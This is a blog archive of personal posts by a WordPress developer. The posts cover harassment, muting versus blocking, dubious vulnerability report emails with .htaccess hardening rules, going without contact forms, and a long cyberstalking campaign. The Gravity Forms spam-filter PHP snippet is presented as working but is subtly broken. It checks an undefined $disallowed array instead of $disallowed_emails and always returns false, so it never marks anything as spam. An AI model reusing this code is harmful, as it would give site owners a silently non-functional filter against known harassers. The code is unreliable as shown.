Even if we make the internet ‘invite only’ (as if that was possible), it’ll still be abused. But I don’t think that means we should do **nothing**. I think we’re not doing enough to make it difficult and hard for abusers and harassers to get a foot in the door. We’re making it so the only way people can protect themselves is to simply not be social online. Given the pandemic, I suspect you can all see why that’s a flawed prospect.
Everything we need to do needs to be balanced. For example, it’s easy (and probably right) to say we need to begin to disrupt ‘anonymity’ but… What about people who can’t say who they are for fear of retribution? I immediately think of all those kids out there who are terrified for their ultra conservative, homo-hatin’ family members to find out they’re queer? They should be allowed to be anonymous and learn that there’s a world out there who loves them.
I do like to bag on Twitter and Facebook for their lack of nuance when it comes to handling harassment and abuse, but I am also a realist. At their scale? How the hell do you tackle things? The only answer is really to throw more humans at it which would make more jobs, but it’s some of the most soul destroying work you’re ever going to do. And they don’t see it as a beneficial investment, so they’re not going to pay the people who do this a solid wage, with great health care, rotating them in and out so they don’t flame out.
Proof? Okay. [Read what happened to WangGuard](https://wordpress.org/support/topic/why-wangguard-was-closed/).
> WangGuard worked in two different ways: as an algorithm that I had been refining for 7 years, and which was getting better as the sploggers evolved, so that it was always one step ahead of them, and also as human curation, in which I reviewed many factors, among them sites of sploggers to see if their content, could improve the algorithm and make sure that it worked correctly both when it was blocking or not blocking a site. The great secret of WangGuard was this second part. Without it WangGuard would not ever have become what it was.
>
> This human component is what I have been doing for 7 years, and also what has led me to close WangGuard (along with other considerations that are not relevant).
>
> [Why WangGuard was Closed](https://wordpress.org/support/topic/why-wangguard-was-closed/) by Jose Conti
And I have to agree with Jose, doing that job eats at your soul. The ‘fix’ is to change the world, and that’s just exhausting.
## What Can We Do?
When you make a product, ask yourself “How can this be **ab**used?” If you can’t think of anything, look around the room of the people you’re working with. Are they all from the same ethnic or socioeconomic background as you? Get people who aren’t. Get minorities in the room. Get PoC, get women, get queers, get *kids*. Get people who didn’t go to college, those who did, those with and without children, those from other nations. Get them and ask them “Hey, what’s the worst thing you could do to someone else with this?” Ask them “Do you see any flaws?”
And then? **Listen to them.** If women tell you “That’s going to make it impossible to stop people from sending us dick-picks” take it seriously. But for the love of Pete the Plug, take them seriously.
This means we are all going to have to accept when we’re wrong, when our ideas have flaws, and learn from those moments. It’s hard! We don’t want to hear our great idea is screwed up, but sometimes it is.
We’ll never change the world for the better if we cannot change ourselves.
**Categories:** How It Is
**Tags:** harassment, safety, self care
---
### [Bad Actors: Block or Not?](https://halfelf.org/2021/bad-actors-block-or-not/)
**Published:** May 12, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Should I block or should I mute now? If I mute there will be trouble. If I block it may be double.
**Content:**
So here’s a fun question… Say you’re being harassed or bothered by a single person. Do you block them?
This should be a simple answer, right? Obviously block. If you block, you don’t have to see them, they can’t get to you, it’s great. Except, as anyone who’s been harassed will tell you, if the person is particularly an asshole, they will make more accounts with which to try and contact you! I’m not joking when I saw my particular headache has used over 100 separate emails. Even if you report them to the email services as soon as possible, some will tell you “There’s nothing we can do to prevent abuse.”
That’s a different issue for another post. This one is … do I block or not?
The ‘dude’ in this story is an amalgamation of at least five separate men, all of whom did the same thing, and all of whom claim to be ‘woke’ feminists. No names are mentioned nor will they be, but I suspect they’ll see themselves…
## The ‘splain Drain
There’s no way around this one, and some people I know on Twitter do this. If you block people on an account, they use another. I’ve blocked people for being perpetual mansplainers. Like someone who was offering advice on how to travel after it was mentioned a friend and I were going to a specific location he was familiar with. Now, you’d think “Oh but he meant well, right?” The problem was he had a history of un-thinking hot-takes. We were going to a specific convention (not WordCamp) and we knew we’d be working that con basically 12 hours a day, making notes, recording interviews, and so on. Our goal was not to to that town and party, it was **work**.
The advice? Lots of places to have fun, how to handle working conventions, etc etc.
Now. Anyone who actually knew us and followed our tweets knew that my friend and I had all that locked down. We’ve worked cons before, ones way the hell bigger than this one, and we knew how to handle ourselves. We knew how to optimize our packing, how to prioritize, and we were not asking for advice or help. Simply, we said we were excited to go to this event.
Again, you could think “Oh but he meant well.” The thing was, he took **zero** time to read the room. He didn’t scroll back and see the older tweets, he didn’t see any of the conversations prior. He saw one moment, and jumped in. All of the other comments were about who we were going to meet/interview, how nice it would be to be at a convention like that, tech talk about devices and charging and packing and carrying. We weren’t going to go to party, we weren’t going to go to fancy restaurants. We had jobs.
If you’re a woman in tech, you’re **tired** of that behaviour. Because now it’s suddenly your job to roll back, re-explain everything, and thank this person for their time but you’re good. And I have to tell you, it’s **exhausting** to do that over and over and over. I cannot begin to tell you how many times my reply to someone has been “Thanks, but per the discussion, we’re doing X. Please re-read the whole convo.”
It is an ongoing, perpetual drain that men (and yes, I do call out men here) jump in with ‘help’ without giving anyone the respect and time to actually read the freaking room. They don’t do the research, they don’t read the scroll back, they don’t even ask “Is this all sorted out or can I help?” They assume that you need help, and they believe they’re the one to do it.
## Mute Them
I’m sure a lot of guys I know are pissed off at me right now, but guess what buddies? That’s why I mute a lot of you. Some women too, yes, and if a single one of you idiots jumps in with ‘not all men!’ I will escalate and block you, because the ‘all’ isn’t the point. The point is that a **majority** of men (especially in tech) do this. They are the Hero. The Saviour. The Champion. They can help YOU!
So when people, of any gender, jump into my timeline and offer advice where they clearly have not read a blessed thing, I mute them. The guy I’m talking about who mansplained? Wanna know what he did? He **kept on** explaining how he was trying to help. My friend told him “Thanks but no thanks.” and I didn’t reply at all, but he went on. So I blocked him. And that sucked, because he was someone I did like as an acquaintance. I’d even gave him asked-for advice to get a better job. He has one now, and I’m happy for him.
Anyway. Blocked him, moved on, and a couple years later he had yet another hot-take which was also entirely wrong. It really doesn’t matter what the subject was, but what matters is I was complaining about a stupid part of a contract that told me I was to do thing A in advance of a release but also not to do thing A until **after** the release.
So I complained about this on twitter, remarking how daft it was. One of the blokes I’d muted hopped on the reply-train to tell me that’s because I wasn’t really part of the process.
Repeat that meme above, eh. Signed contract. Told I was supposed to to X for the process, but also not to do it… And if you’re wondering “Mika, didn’t you block him?” yes, yes I did. He used **another** account to contact me with **another** bad take. A 100% incorrect take, born of his own ignorance about the subject matter and the contract. I replied, correcting his assumption (and at that time not realizing who he was).
The next reply from him was that he actually had understood but he wanted to say something ‘different.’ At that point I thought ‘this sounds like one of those guys …’ and I looked at the account. Oh yes, it was. But I thought maybe he was redeemable, maybe he’d changed, and I asked him if he had any experience or expertise in this area at all (it’s **not** WordPress related). That reply was the nail in the coffin. He said it was a joke, he offered to **explain** the joke, and he said I knew who he was, and his credentials were available.
Right. I replied, told him the joke wasn’t funny and if it needed to be explained, it was a bad joke, and I muted him.
My thought process was as follows:
1. Someone who always replies with ‘jokes’ isn’t someone I feel like listening to.
2. People who reply constantly with ‘jokes’ aren’t listening to me in the first place, they’re listening for bullet points they can joke about.
3. The ‘it was a joke’ defence suggests it wasn’t a joke, he knew that, and he’s hurt I called him out.
4. Anyone who tells me **his** credentials are online, and yet flat-out cannot be bothered to correct his assumptions about mine is disrespectful.
5. I already **blocked** his personal account.
## Why *not* block?
Well. As you can see from this story, I had already blocked him and he was using a secondary account to follow me and comment on things. Did I know, prior to the conversation, that he was in charge of that account? Not at all. I had no reason to look. Now that I have looked, I see his feed is still filled with low-key racism and ignorance all over the damn place. He probably doesn’t even see that, and if he figures out this post is talking about him, he’s probably livid.
But again, this isn’t about Mr. Mansplainer, it’s about why I didn’t block him right away. I muted him.
I didn’t block him because I don’t want to encourage him to make a third account (or use another one he already has) to try and talk to me. I just don’t want to hear from him.
And that is a decision that women online make every day. We recognize that blocking people just makes them madder and that sometimes they jump around and use more accounts to be jerks. It’s happened time and again to me, I’m sure it will again, and it’s why I heavily mute people all the time.
Amusingly enough, I’ve been blocked by a couple people I’ve muted, one of whom screamed murder because I didn’t accept his DMs. I don’t accept DMs from anyone I don’t follow for a reason: I’m tired of people being assholes. So it wasn’t personal, John Doe, but way go.
## Okay but … How can I mute on my site?
You mean comments and contact forms? Good question!
First? Turn off comments and remove your contact form. You don’t need them most of the time. If you **do** want them, for the love of the flying spaghetti monster, use the comment moderation tools! In WordPress go to Settings > Discussion. Now, add in their info. Twitter handles and emails go directly into the Disallowed list. First names (especially if they’re common) go into the **moderation** list.
But this is also where I’m kind of a bad person. See, if I have someone who is a jerk in emails and I know they may use a contact form, but as I’ve been saying since 2014, you should be able to **[blackhole their messages](https://halfelf.org/2016/mailbag-contact-forms-fail/)**. By blackhole I mean their emails should **appear** to be sent, but you never see them.
In short? They’re treated like spam. This sometimes has the side effect of them being flagged as spam elsewhere, which is why I’m kind of a bad person, but to be honest I don’t care at this point. I want them to go away.
The downside to this is [a lot of plugins don’t have a way to do this](https://halfelf.org/2018/spam-your-blacklist/). I have spent a lot of time [writing code for Contact Forms](https://halfelf.org/2021/gravity-forms-and-disallowed-keys/) that actually blocks people (or spams them) when they’re people I’m done wasting my time with. I do think more contact forms need to make this a built in option. “Use your Disallowed lists to block …” but that is a different conversation.
## How can I make sure I’m not muted?
If you’ve gotten this far, and you’re angry or you think I’m an asshole for blocking you or posting ‘about’ you, first you should know this: this post is actually about **five separate guys**. So if you’re seeing ‘you’ in this, you’re not alone, and I’m probably not the only person who wrote you off. Here’s my advice:
1. Think before you reply. Read the tweet/post, look at the other replies or the followup posts. If you’re not sure, err on the side of respectful caution.
2. Stop all ‘hot takes’ and ‘joke’ replies **unless** you know the other person really well.
3. If you met someone at a WordCamp or chatted online, you **DO NOT** actually know them really well! You are causal acquaintances.
4. If someone tells you ‘that isn’t a funny joke’ you reply “Sorry.” and shut the hell up.
5. If you have to explain the joke, you screwed up, it wasn’t funny, and you’re the one in the wrong.
6. If someone **blocks your account** do not use a second account to get around it.
7. If you’re super mad that someone disagreed with you, **walk away**. You don’t owe them your time.
8. If you’re blocked, **don’t** ask why you’ve been blocked.
Now once in a while people will hit me up and ask why they were muted/blocked. I’ve replied to one of them, and that was because I took one look and thought “Hang on, I like him! What the hell?” And I looked and found out my old block tool had caught him for retweeting someone I’d blocked (he was explaining why the other guy was a dingus). I’ve turned that off.
And I know someone is thinking “Wait, you said **don’t** ask.” Here’s the thing, that person I unblocked? Did not ask! He just pinged in another venue and said “Hey, I read about your dad dying and I wanted to say how sorry I am. You always talked about him so kindly. I would have tweeted but apparently I’m blocked. I’m sorry for whatever I said.”
Isn’t that nice? It caught my attention. I looked, I unblocked. Because that was someone who acted like a human, didn’t expect a goddamn thing from me, and wanted to treat me like a human.
It’s tragic that acting like that is rare.
**Categories:** How It Is
**Tags:** harassment, mansplaining, self care
---
### [Vulnerability Reports Miss The Mark](https://halfelf.org/2021/vulnerability-reports-miss-the-mark/)
**Published:** April 29, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Do you get weird 'security' emails that you think may be full of it? Me too!
**Content:**
Lately I’ve been getting a lot of ‘vulnerability’ reports.
I use the term loosely because the reality is these are not actually serious vulnerabilities. A couple months ago I started getting a lot of weird reports like this:
> A FLAW FOUND ON YOUR WEBSITE!
>
> Website Security Vulnerability Notification
>
> Hello, a security researcher reported a security vulnerability affecting \[your\] website via \[company\] coordinated and responsible disclosure program:
Those can be super scary! Is there really a massive issue?
No. But I know why it feels that way. And frankly I think a lot of these people are targeting the wrong group. Let’s get into it.
## Scare Tactics
In the case of all the ones I got, there was only one that I felt actually was. But first, here’s what people reported:
- The PHPInfo Page was public
- Directory indexing
- People can list users (aka User Name disclosures) via the REST API
- Your xmlrpc is showing
- Incomplete SSL Protection
- Your email records allow spoofing/DMARC compliance
The last one? Absolutely an issue. I thanked that person and kicked them some money. But the others? They’re issues, but they’re also incredibly minor! Heck, this user name listing ‘vulnerability’ does not take the following into consideration:
1. It’s on a site where every author has a page
2. We have an ‘about us’ page that lists everyone anyway
3. Strong passwords are enforced
4. We have a firewall
The only way I could really improve that would be to enforce 2FA, which I’m contemplating for admins. But that begs the question… **is this a vulnerability**?
Okay, let’s ask *why* does this work? It’s known that WordPress has a REST API. This API can be used to list **public** information about registered users. Now the API does ‘expose’ the user data for everyone who’s *authored* a public post that is shown in the REST API. Posts and pages and some custom post types included. If the user hasn’t authored posts, you won’t have permission. So again, we’re only able to list public authors. Okay.
*Could* that be bad? Sure. In the same way having a front door *could* be bad if someone kicked it in. But ‘security’ isn’t why I would ever consider blocking that. We literally list all the authors publicly already. If someone wants to use wp-json to grab them, cool. It only shows public information we displayed already, after all.
Why would I consider blocking? To ensure **stability**. That is, people hammering my site to find out that I’m **not** user #1 on HalfElf (surprise!) makes my site slower. But… I have a firewall and Mod\_Security, and IP Tables, which means if you hit my site enough, it’ll block you. Also a lot of stuff is cached, like it should be. Which means this is not a ‘vulnerability’ but more of a ‘best practice notice’ in my opinion.
And finally … FFS why are you telling individual site owners this!? If you **really** think it’s a security issue, take it up with WordPress!
## How Do You Stop Them?
Well, generally you fix the ‘issues.’ Even if you think it’s full of shit, you fix it. So okay, what do we do?
PHPInfo? Locked it down. I use it for regular checks of other things. If you’re not, just delete it.
Directory Indexing? I put this at the top of my .htaccess (and yes, you should, I’d removed it for some tests):
```
### Prevent Directory Browsing ###
Options All -Indexes
```
XMLRPC? I said “Nope, not gonna change.” Because I use the WordPress iOS App.
SSL? You’ll want to check your setup on things like [SSL Checker](https://www.sslshopper.com/ssl-checker.html) or [Immuniweb](https://www.immuniweb.com/ssl/) or [SSL Labs](https://www.ssllabs.com/ssltest/index.html). I found [SerpWorx’s tool](https://www.serpworx.com/check-security-headers/) to be invaluable for spelling out what was missing. The easiest by far was [SecurityHeaders.com](https://securityheaders.com). For that, I ended up adding this to my .htaccess:
```
### Extra Security
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header set X-XSS-Protection "1; mode=block"
Header always append X-Frame-Options SAMEORIGIN
Header set X-Content-Type-Options nosniff
Header always set Expect-CT "max-age=7776000, enforce"
Header set Referrer-Policy "same-origin"
Header always set Permissions-Policy "geolocation=(); midi=();notifications=();push=();sync-xhr=();accelerometer=(); gyroscope=(); magnetometer=(); payment=(); camera=(); microphone=();usb=(); xr=();speaker=(self);vibrate=();fullscreen=(self);"
```
The one thing I left out was **Content-Security-Policy** because that one is crazy complex and needs a lot of testing since a lot of content on the site is remote and needs special rules.
Email/DMARC? That took a lot longer, and I had to talk to my email provider to sort it out. But you can run your domain through the [MXToolBox checker](https://mxtoolbox.com/emailhealth/) and see what you’re missing. It’s going to make you cry. Email sucks.
## Okay but I wanna hide users!
I hear you. You can do this in .htaccess:
```
### Block User ID Phishing Requests
RedirectMatch 301 ^/wp-json/wp/v2/users(.*) /about-us/
RewriteCond %{REQUEST_URI} !^/wp-admin [NC]
RewriteCond %{QUERY_STRING} author=\d
RewriteRule ^ /about-us/ [L,R=301]
RewriteCond %{QUERY_STRING} rest_route=/(.*) [NC]
RewriteRule (.*) /wp-json/%1 [L,R=301,QSD]
```
Now. This means on that site if you go to `example.com/?author=1` you **will not** go to someone’s page. But if you go to `example.com/author/ipstenu/` you still would. Which IMO points out how stupid that ‘vulnerability’ is. Yes, I am aware you can see the authors. Oooooh. You’re supposed to!
## Conclusion?
A lot of those vulnerability emails are bullshit. I politely reply “Thank you for your concern however we are not blocking access to that because the API is used by other things. It’s considered to be public knowledge anyway.” I may end up writing a form letter.
And the sucky thing is that one of the sites that collects all that stuff relies **only** on the reporter to determine if it’s resolved. Both issues they have for the domain in question? 100% resolved. But they say ‘unpatched’ … probably because I told both reporters I’m not paying them.
I added this to my profile:
> We do not accept reports of basic WordPress functionality, such as the Rest API being active, the use of xmlrpc.php, the enumeration of users, etc. Those are an acceptable risk. Please don’t bother reporting them, they should be addressed with WordPress directly, not end users.
By the way. The bug bounty program that keeps emailing me? Uses WordPress. And guess who’s site has `/wp-json/wp/v2/users` available to list **all** their public authors? Yeah. Because it’s not a goddamn major issue.
I know someone’s gonna point out it could be a major issue. Sure. Like having a window means your house or car could get broken into. That doesn’t mean you remove all the windows!
**Categories:** How It Is
**Tags:** htaccess, rest api, security, vulnerability
---
### [Gravity Forms and Disallowed Keys](https://halfelf.org/2021/gravity-forms-and-disallowed-keys/)
**Published:** March 31, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to send people on your disallowed comment list to the spam bin, and live better.
**Content:**
Recently Gravity Forms was added to a site I work on. Now, I’ve never used it before, so I was hands off (except for changing the email it sent to) and I know pretty much nothing at all about it. But what I do know is that there’s a real jerk out there who’ll spam it, given a chance.
Unlike other contact form plugins out there, Gravity Forms comes with built in **free** integration with Akismet! But, like pretty much every other plugin out there, it does not integrate with my disallowed keys.
I’m a big proponent of not reinventing the wheel, and I strongly feel that being able to block someone from comments and contact forms should be a done deal. I opted to mark people who do this as spam, instead of a rejection, so they will never know if I ever saw their email or not. This is a questionable use of the spam settings, but at the same time, it’s been a rough couple of years.
## The Process
Since the `disallowed_keys` list contains emails and words, the first thing I wanted to do was strip out everything that wasn’t an email or an `@`-domain — that means `foobar@example.com` is a valid entry, and `@spammers-r-us.com` is a valid entry, but `foobar` on it’s own is *not*. I run through my disallowed list, add everything valid to an array in a new variable.
Before I can pass through the email, though, I need to remove any periods from the username. You see, Gmail allows you to use `foobar` and `foo.bar` and `fo.o.b.a.r` all as the same valid username on your email. Yes. all those would go to the same person. To get around this, I remove all periods and make a clean username.
Also I have to consider the reality of jerks, who do things like `foobar+cheater@example.com` — Gmail allows you to use the + sign to get clever and isolate emails, which I use myself to track what sign-up spams me. At the same time, I don’t want people to get around my blocks, so I have to strip everything following the plus-sign from the email.
While I’m doing this, I’ll save the domain as it’s own variable, because that will allow me to check if `@spammers-r-us.com` is on my list or not.
Once I’ve got it all sorted, I do an in-array: if *either* the exact (clean) email is in the array, *or* the exact @-domain is in the array, it’s spam and I reject.
## The Code
```
add_action( 'gform_entry_is_spam_1', 'my_spam_filter_gform_entry_is_spam_1', 10, 3 );
function my_spam_filter_gform_entry_is_spam_1( $is_spam, $form, $entry ) {
// If this is already spam, we're gonna return and be done.
if ( $is_spam ) {
return $is_spam;
}
// Email is field 2.
$email = rgar( $entry, '2' );
// Build a list of valid emails & domains from disallowed_keys
$disallowed_emails = array();
$disallowed_array = explode( "\n", get_option( 'disallowed_keys' ) );
// Make a list of spammer emails and domains.
foreach ( $disallowed_array as $spammer ) {
if ( is_email( $spammer ) ) {
// This is an email address, so it's valid.
$disallowed_emails[] = $spammer;
} elseif ( strpos( $spammer, '@' ) !== false ) {
// This contains an @ so it's probably a whole domain.
$disallowed_emails[] = $spammer;
}
}
// Break apart email into parts
$emailparts = explode( '@', $email );
$username = $emailparts[0]; // i.e. foobar
$domain = '@' . $emailparts[1]; // i.e. @example.com
// Remove all periods (i.e. foo.bar > foobar )
$clean_username = str_replace( '.', '', $username );
// Remove everything AFTER a + sign (i.e. foobar+spamavoid > foobar )
$clean_username = strstr( $clean_username, '+', true ) ? strstr( $clean_username, '+', true ) : $clean_username;
// rebuild email now that it's clean.
$clean_email = $clean_username . '@' . $emailparts[1];
// If the email OR the domain is an exact match in the array, then we know this is a spammer.
if ( in_array( $clean_email, $disallowed, true ) || in_array( $domain, $disallowed, true ) ) {
$return = true;
}
// If we got all the way down here, we're not spam!
return false;
}
```
## Of Note…
Before you use this yourself, you will need to customize two things!
1. `gform_entry_is_spam_1` is actually the specific form I’m checking. Form ID 1. Customize that to match your form ID.
2. `$email = rgar( $entry, '2' );` — you may have noticed I put ’email is field 2′ as a note above it. That’s because email is the second field on form 1, so I hard grabbed it. If yours is different, change that.
Also … I actually broke this out into two files, one that just checks “Is this a spammer?” and the Gravity Forms file, so the latter calls `spammers.php` and checks the email against the `is_spammer()` function. The reason I did that is because I need to run this same check on Jetpack’s contact form. Both call the same function to know if someone is evil.
**Categories:** How To
**Tags:** forms, spam
---
### [18 Months Without Contact Forms](https://halfelf.org/2017/18-months-without-contact-forms/)
**Published:** October 31, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I've decided I like not having a contact form, so let's talk a little about behaviour.
**Content:**
In [February of 2016](https://halfelf.org/2016/mailbag-contact/) I deleted my contact forms (except one).
In the subsequent 18 months, I’ve actually enjoyed it, as the cruft email in my box has dropped significantly. But it led to a few peculiar situations. You see, people *do* still try to get a hold of me personally , and they’ve taken to interesting methods.
Keep in mind. I’m talking about my *personal* contact. Not work. Work is work is work. This is basically you calling my house, not my office.
## Everything Is About Plugins
Every. Single. Time.
I’m only talking about *unsolicited* messages. Not “We’ve been talking about X in the `#meta` and let’s take it to a sidebar.” And it’s not “Last week you said X was okay in `#forums` and I have a followup.”
I mean, literally, people I’ve *never* spoken to before who fall into one of two categories:
1. People looking for help with a plugin I wrote
2. People who got an email from the Plugins address
For group 1, please use the WordPress support forums. For group 2, please press ‘reply’ on your email.
But they don’t. Instead they use…
### Twitter
It’s not a secret I leave DMs open on Twitter. This means, yes, anyone can DM me if they want. So far, I’ve received the following:
- multiple offers to speak at an event
- multiple requests to help with a plugin review
- multiple complaints that blocking their ‘company’ account on twitter was unethical of me
- requests for help from friends
That last one I don’t mind. It’s pretty rare, and it’s from people who are, you know, friends. They’re also incredibly respectful of my time (as I try to be of theirs) and understand when I say no. Pro tip: If someone lashes out or acts up after you tell them ‘sorry, no’ they’re not actually your friend, they find you useful.
## Facebook
This one cracks me up because I limit FB messages to friends only, so I get a lot of friend requests just so people can message me. I decline them. The only trend I’ve noticed there is people who met me at WordCamps (sorry, no), and people from AWP (again, no).
I actually block a lot more people from FB for snide comments than anywhere else.
## Slack
90% of the ‘unsolicited’ contacts on Slack I get are people who, for some reason, instead of pressing the *reply* button in their email, decide to DM me.
The rest are people who have a question about plugins and *even though* they know about the email address, think it’ll be faster to DM me. At 8pm. On Saturday.

## The contact form on my ebook site
I actually went to look at those. The last few emails are:
- Spam to pay someone to write copy for my site for ‘SEO’
- Spam for a VPN
- Someone asking ‘If I can’t use a contact form, how am I supposed to get help?’
- Spam about SEO
Dear person #3 – That’s what the support forums are for.
## How Do You Contact Someone Without A Contact Form?
Generally? You don’t.
Look. There’s no form on my website because I’m not your free support. If you have a problem with a plugin I wrote, go to the plugin page on WordPress.org and ask for help. I get emailed when you do that. If you have a problem with a plugin review, press reply on your email. Shockingly? I get an email about that.
## What About Work?
Oh that pesky professional thing.
First of all – use the established contact methods. WordPress plugins all have support forums. Use those. Did you get an email? Press reply to the email and either propose a different method to converse *or* stick to whatcha got. Sometimes email will be the **only** way to go, as it’s the lowest common denominator (it’s 2017 – everyone has an email since you needed one to get on Twitter or Facebook or Slack in the first place).
Next, if you know how to contact someone, unsolicited, about work things, then just do that. It’s not very complicated. You reach out, you apologize for the interruption, and you ask if I have time to talk about X. Here’s an example for you:
> Sorry to bother you. I’m planning a non-WordCamp event in Dallas for 2018 and I was wondering if you or your company would be interested in sponsoring? You can find the details at `http://event-example.com` and my email is `me@event-example.com`
That works because you’re starting out being respectful of the other person’s time. You’re offering contact information, which demonstrates sincerity, and lets me know there’s a non-platform limited way to get in touch with you.
Here’s another:
> Sorry about the DM, but I don’t know where to go for this. I’m having a problem with DreamPress and I can’t log in to my panel. What’s the right way to get my access back?
This is good because you’re not assuming I’m *the* contact, and you’re asking ‘what is right?’ If it’s me, I’ll happily tell you. Well. Not happily, because I’ll be bummed you can’t log in, but I’ll help you sort it out (BTW: The answer there is the [DreamPress Support page](https://www.dreamhost.com/support/) where someone’s familiar mug can be seen).
The point here is that reaching out to someone, in an unsolicited way, requires you to begin by respecting them as a human. If you can’t do that, you’re basically sending them hate-mail.
Be sincere. Be respectful. Be polite.
And if you DM me about plugin reviews, I’ll just block you and walk away.
**Categories:** How It Is
**Tags:** behavior, communication, email
---
### [When It's (Not?) Burnout](https://halfelf.org/2021/when-its-not-burnout/)
**Published:** February 24, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not burnout, except that it is, and it's also harassment and abuse and it's exhausting.
**Content:**
I took 2020 as a break from speaking at conferences, live for obvious reasons, and online for a couple different reasons. It took me until November to get my home office set up in a ‘non-embarassing’ way so that I didn’t feel like I was showing everyone my mess when we video’d. Also I was exhausted and realized how close I was to burn out after the last four+ years of stress and travel.
But there has been one other thing. I’d talked to a number of friends. I’ve broken down sobbing after a coworker mentioned what was going on. I’ve had longs talks with therapists and experts in this sort of thing. The issue wasn’t my workload, it wasn’t even the work I was doing. But I absolutely was burnt out.
… But it’s not for why you’re probably thinking. I’m dead ass burned from being harassed.
## Harassment
The largest contributor to my burn-out is an ongoing, over two years, harassment.
A year ago I gave a talk in NYC about [how to deal with being attacked online, and the tools you can use to protect yourself](https://halfelf.org/2019/bummer-of-a-birthmark-hal/). What I didn’t mention in detail in that post was what has been going on since November 2018.
Back then I was watching the Macy Parade (like I do every year), waiting for the oven to heat up, and cleaning out the emails for the plugin review team, when I got pinged by a forum mod. A plugin developer was being cruel to users, making weird threats and claims, and said volunteer wanted to know what to do, since that person had a flag on their account saying “If there are any guideline violations, report to plugins ASAP.” So I threw the turkey in the oven and pulled up the records.
What I found was a series of minor issues, but all repeating. The developer was asked (twice) to change their plugin name to be less spammy (ex. “The world’s greatest slider plugin! Greater than anyone has known! Used by millions!”). There were also multiple emails reminding them not to ask to contact people off the forums.
There was also a strange email from a couple months prior. A woman had emailed the plugins team about this developer, saying that after she left a bad review she was harassed by them on Facebook. At the time, we issued a final warning about behaviour (which is why the flag in the account existed). I had forgotten about it being related to this developer, as it was about their other plugin, but also we get a hundred emails a day, and I don’t memorize everyone’s drama.
In looking at that, and the post the forum mod was worried about, I saw the parallels. This was very obviously repeat behaviour, and at the time I was pretty sure that the developer was account sharing (multiple people using the one dev account), which meant not only did they not understand the message about not being unkind, but they were not making sure everyone who worked for/with them did either, **and** they didn’t understand basic security (there’s no need to ‘share’ accounts on WordPress.org — you can make new ones and ad them to your plugin as support reps after all).
This meant I did what I hate doing. I closed their plugins, locked the accounts, and emailed them saying that they were banned for repeat abusive behavior. After all, they’d had *multiple* warnings.
In retrospect, I should have seen this all coming.
## Megs of Logs
At this point I’ve amassed megabytes of logs on this drama. I’ve written up a nearly 30 page document (with citations no less) of everything that’s happened before and since. I thought about listing everything they did ‘wrong’ here but honestly it doesn’t matter if I list out everything. That was all ‘normal’ poor behaviour by developers. People make mistakes, and many times they really just do not grasp how serious things are **even when** the email says “This is your last chance.” Which means I know I have to be the bad guy to tell people “Hey. This ends *now*.”
Now, banning people, especially existing *developers*, is not a common thing! It’s not un-common or rare, but it’s not like I do it every day. Around 4 people a year get banned following a final warning. Usually it’s only one person each year (though due to people being people, it may involve multiple accounts — we still consider that one). More often, people get insta-banned for trying to use the directory for malware. Once in a while someone will be banned without warning for lying about being previously banned, but usually we catch those pretty quickly these days. Even so, it’s not an every month thing, or even an every season occurrence! The majority of people get that final warning and stop and rethink their choices. That’s **normal**.
What was *abnormal* is what happened *after* they were banned.
Between November 21st and the 27th, the Plugins team received over 30 emails. The first few replies were replied to in kind, pointing out that they had their fair chance (and a couple extra) and they squandered it. At that point, emails were not replied to for 24 hours, when they were informed again as to their numerous violations, and asked to stop emailing or their actions would be treated as harassment.
The emails did not stop. **21** more were sent following that caution.
Yes that means over 50 emails in a 6 day span. Probably closer to 100, since we only tracked them by subject rather than by how many replies they got.
On the 24th, they tried to bribe me by sending me money via PayPal (it was refunded and reported — and yes, this is why generally I don’t like when developers send me a donation, though I understand most are not trying this). The message asked me to ‘forgive’ them and rescind the ban. At that point I blocked their email on all my personal systems and went on my merry way.
Instead, they thought “Well she blocked us on one email, let’s use a different one!” and found my old, only used for Google events, account. By the way, none of those personal emails were ever provided to them. It’s not hard to guess what my email on Gmail might be, though.
On November 27th, a threat was made. They emailed saying they prayed to their god to “take away all your name, fame, respect, wealth everything” and more.
## And then it escalated…
Yeah some of you are thinking “Wait, **THEN** it escalated?”
- From November 24th to the end of the year, 77 separate email chains were sent, using 3 separate emails.
- In 2019 there were over **600** separate email chains from 126 separate email addresses.
- 2020? 34 separate email chains.
- 2021? Only 3 email chains, but it’s only February.
So yeah, 2019 was **rough**. My Dad died in the start, and this developer had the gall to say Dad’s death was my fault, as I was being punished by their (the developer’s) god. Yes, that really happened.
I did a lot fewer talks in 2019 because I was coping with the world without my dad, and in 2020 …. well. We *all* took an in-person break, and I took a virtual one as well, because I was tired of prepping myself before talks.
See, every time I would go to a WordCamp, I had to prepare myself. What will I do if they show up? They had made, after all, ‘threats’ to come to California, and they’d already sent physical items to my office. So how would I handle it? The odds of them getting to the United States, given our then administration, seemed unlikely, but what if… What if?
I rehearsed, I practiced not being alone, I made sure at least one trusted person knew why I was nervous. My wife and I talked about strategies. But online? What if he saw something on my backdrop that let him figure out my home? What if he tracked me? What it he did something to put my family in danger? It was all too much to bear, so I simply didn’t.
Somewhat related, my office knew and went way above and beyond what I had any reason to expect to make sure I felt safe there. I love those people.
## So … where are we now?
The developer still emails, on average twice a month now. We’ve sent a cease & desist (which was repudiated) and I’ve spent a lot of time literally ignoring everything that comes in. I do have a list of all the various claims made, and all the email subjects. I stopped tracking the content of the emails in mid 2019 because they were so outlandish that I couldn’t even anymore. I mean, does anyone think Alexandria Ocasio-Cortez cares that someone in another country is angry they got banned from a website?
Effectively? I am *still* being cyberstalked and harassed. And my god, it’s draining.
I sat here, thinking ‘is this even a good idea? It’s just going to make them be bigger annoyances”
After how disastrous 2020 has been? I think it’s right to step up and say “Hey, so this shitshow happens, and people are out there who are going to make it their mission to make you miserable. You’re not alone.”
This is me, walking back into the fire because I’m refusing to let it make me smaller.
## What I want?
It’s super simple. I want it to stop. I want them to accept that they’ve burnt every single bridge a human can burn, short of physically attacking me, and now, **even if** anyone accepted their apology, we cannot unban.
There’s no way to know they won’t start this up again, or use this as the freedom to be a bigger harm to the community. There’s no way to walk back from this level of harassment. And if that means I have to shoulder this to protect everyone else? Well. I’ll do it, but I’ll do it my way, which means I post this. I share to the world “This is a thing.”
